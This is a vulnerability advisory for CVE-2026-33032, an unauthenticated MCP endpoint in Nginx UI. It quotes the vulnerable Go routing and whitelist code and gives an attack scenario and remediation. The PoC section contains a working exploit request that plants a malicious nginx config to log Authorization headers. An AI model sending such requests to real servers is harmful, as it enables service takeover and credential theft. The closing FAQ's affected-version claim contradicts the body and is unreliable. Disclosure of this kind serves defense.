CVE-2026-33032: Nginx UI: Unauthenticated MCP Endpoint Allows Remote Nginx Takeover
Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcpmessage. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcpmessage endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.
Details Vulnerable Code
mcp/router.go:9-17 - Auth asymmetry between endpoints
go func InitRouter(r gin.Engine) { r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) }) r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) }) }
The /mcp endpoint has middleware.AuthRequired(), but /mcpmessage does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.
internal/middleware/ipwhitelist.go:11-26 - Empty whitelist allows all
go func IPWhiteList() gin.HandlerFunc { return func(c gin.Context) { clientIP := c.ClientIP() if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } // ... } }
When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.
Available MCP Tools (all invocable without auth)
From mcp/nginx/: - restartnginx - restart the nginx process - reloadnginx - reload nginx configuration - nginxstatus - read nginx status
From mcp/config/: - nginxconfigadd - create new nginx config files - nginxconfigmodify - modify existing config files - nginxconfiglist - list all configurations - nginxconfigget - read config file contents - nginxconfigenable - enable/disable sites - nginxconfigrename - rename config files - nginxconfigmkdir - create directories - nginxconfighistory - view config history - nginxconfigbasepath - get nginx config directory path
Attack Scenario
1. Attacker sends HTTP requests to http://target:9000/mcpmessage (default port) 2. No authentication is required - IP whitelist is empty by default 3. Attacker invokes nginxconfigmodify with relativepath="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers) 4. nginxconfigadd auto-reloads nginx (configadd.go:74), or attacker calls reloadnginx directly 5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied
PoC 1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:
go // Line 10 - /mcp requires auth: r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })
// Line 14 - /mcpmessage does NOT: r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) })
Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.
2. The IP whitelist defaults to empty, allowing all IPs. From settings/auth.go:
go var AuthSettings = &Auth{ BanThresholdMinutes: 10, MaxAttempts: 10, // IPWhiteList is not initialized - defaults to nil/empty slice }
And the middleware at internal/middleware/ipwhitelist.go:14 passes all requests when the list is empty:
go if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return }
3. Config writes auto-reload nginx. From mcp/config/configadd.go:
go err := os.WriteFile(path, []byte(content), 0644) // Line 69: write config file // ... res := nginx.Control(nginx.Reload) // Line 74: immediate reload
4. Exploit request. An attacker with network access to port 9000 can invoke any MCP tool via the SSE message endpoint. For example, to create a malicious nginx config that logs authorization headers:
http POST /mcpmessage HTTP/1.1 Content-Type: application/json
{ "jsonrpc": "2.0", "method": "tools/call", "params": { "name": "nginxconfigadd", "arguments": { "name": "evil.conf", "content": "server { listen 8443; location / { proxypass http://127.0.0.1:9000; accesslog /etc/nginx/conf.d/tokens.log; } }", "basedir": "conf.d", "overwrite": true, "syncnodeids": [] } }, "id": 1 }
No Authorization header is needed. The config is written and nginx reloads immediately.
Impact - Complete nginx service takeover: An unauthenticated attacker can create, modify, and delete any nginx configuration file within the config directory, then trigger immediate reload/restart - Traffic interception: Attacker can rewrite server blocks to proxy all traffic through an attacker-controlled endpoint, capturing credentials, session tokens, and sensitive data in transit - Service disruption: Writing an invalid config and triggering reload takes nginx offline, affecting all proxied services - Configuration exfiltration: All existing nginx configs are readable via nginxconfigget, revealing backend topology, upstream servers, TLS certificate paths, and authentication headers - Credential harvesting: By injecting accesslog directives with custom logformat patterns, the attacker can capture Authorization headers from administrators accessing nginx-ui, enabling escalation to the REST API
Remediation
Add middleware.AuthRequired() to the /mcpmessage route:
go r.Any("/mcpmessage", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })
Additionally, consider changing the IP whitelist default behavior to deny-all when unconfigured, rather than allow-all.
Other sources
Nginx UI is a web user interface for the Nginx web server. In versions 2.3.5 and prior, the nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcpmessage. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcpmessage endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover. At time of publication, there are no publicly available patches.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-33032?
CVE-2026-33032 has been categorized as a high severity vulnerability due to improper authentication on the /mcp_message endpoint.
How do I fix CVE-2026-33032?
To remediate CVE-2026-33032, ensure that both the /mcp and /mcp_message endpoints are protected with appropriate authentication and IP whitelisting.
What software is affected by CVE-2026-33032?
CVE-2026-33032 affects the Nginx-UI software with versions up to and including 1.99.
What are the implications of CVE-2026-33032?
Exploiting CVE-2026-33032 could allow unauthorized access to sensitive operations through the /mcp_message endpoint.
Is there a known exploit for CVE-2026-33032?
As of now, there are no publicly documented exploits for CVE-2026-33032, but the vulnerability poses a significant risk if not addressed.